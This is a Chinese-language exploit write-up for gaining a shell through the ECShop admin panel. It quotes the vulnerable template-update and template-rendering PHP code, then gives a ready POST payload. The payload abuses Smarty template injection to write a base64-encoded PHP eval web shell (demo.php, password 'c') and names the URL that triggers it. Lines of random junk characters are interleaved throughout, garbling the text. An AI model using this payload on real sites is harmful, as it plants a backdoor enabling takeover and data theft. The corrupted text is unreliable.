Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
3 l1 ~0 }6 F' ]2 ?3 r但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ x5 o% R2 k/ F) c5 Iadmin/template.php
% D7 O! r* n! T. j* g* w# L
9 ?! V- R; V" A8 f3 \& T1 if ($_REQUEST['act'] == 'update_library')
% N) s) D) M- h( |, o) R- F( R
! b' z' p; X6 y+ c$ i1 R2   

3 {
0 X, n" R$ g+ P/ F" @( E2 Z$ y, M
4     check_authz_json('library_manage');
! |9 E5 V$ y1 T9 D
5   
: V( P) v" s2 b* C
1 D# |) G1 T/ m" [" |/ k6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
% X4 Q5 ]8 E0 ]8 N! f. ^+ |
+ B' {# n, y+ n  X% s8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

, ^8 |9 w1 m$ l$ S2 @9   

2 L" @: X, I5 j) Z) B. Y0 f- Y5 l10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
, c: V7 g# N7 ~% n0 M
% i5 ~$ e+ l$ U. ?. U8 m8 ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
3 K$ f8 s/ `6 \/ o/ @
" c/ ?6 p9 [5 h4 @3 a! ?! e1 ^15     {
8 I% @' Y$ U2 n3 L' ]" h) u
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. F, o! D( G. G9 L5 w" ]/ P% o% x
17         make_json_result('', $_LANG['update_lib_success']);

18     }
# v: Q" M5 s; F# |% K2 ]9 b
/ X- |3 H2 A1 A* z" p19     else

20     {

3 h* T6 H( q$ L7 P2 p21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
' A4 Q+ H2 `: ^. Y* j9 c' X
23 }
8 O$ \2 O# W! F, }8 x7 p
那么找个比较方便调用了模板的文件
# J' o0 L# W, d) P2 ?! iindex.php

1 if ($act == 'cat_rec')

% l5 W" R! t% @2   
# F5 J6 k" o' s
) `, y. q# I+ F. X: L3 {
3 Z0 v0 e, z0 k
3 F" j8 a- L4 A" |0 y2 g* X4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
$ e* z  X& E! X) r& n& o
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
6 n3 B1 w( |2 z& w
( l' q. n. Z, U) n* }  K8   
% a: ^( S  n: d
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

  T- u4 ], d% r( |0 X) ^3 @11     include_once('includes/cls_json.php');
% ], E6 p+ c* v* O, `
12   

13     $json = new JSON;
# Y# ~' S% n$ Q" [: t
$ C3 h& n4 i( r- g14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ M, y: `4 U* i, I3 W
16   
5 _$ M5 _$ I! m9 z: p
17     $children = get_children($cat_id);

18   
' l: z" J2 e6 H. @  |. C
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
* A" z* k7 l2 h* W
21     $smarty->assign('cat_rec_sign', 1);
/ q1 H# G- g* L& y3 J0 S* q
22   
  i1 i+ F& k+ f/ S
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

7 o8 M7 ^2 t$ r+ O! ^) I/ q, K. T24   

; J  d5 q$ V$ s( U# a! s  |25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
4 Y* g( m, z; V
26   
. }+ U8 Y$ J) D( a2 m2 a0 S2 d9 F6 V
27         echo $rec_array[$rec_type];
7 ?4 R% h5 o3 W! L
28   
0 c4 \9 x8 K" _1 L# G9 v  t
; l' `9 ]! }3 f( b8 L! P29     die($json->encode($result));
) M3 p2 y( V, w9 z' y- d7 J
30   

31 }
" b) a0 B. b4 R# ?0 u
' K4 F# h  L3 b那么就有利用方法了
% t# F- Z/ x6 M/ c/ k7 Jpost包到http://localhost/ec/admin/template.php?act=update_library
2 h% I/ T0 C7 {  P( J  n  F. F! ?Post内容：

) h, l  J3 M% i​
- v+ e8 d5 j: Z" x5 ?1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
' e$ F6 u+ u1 U( A! i& L6 ?
然后访问http://localhost/ec/index.php?act=cat_rec
# G( X9 y* ?* G$ f
shel地址：http://localhost/ec/demo.php
6 J* [1 |) E0 `( X8 V7 ~密码c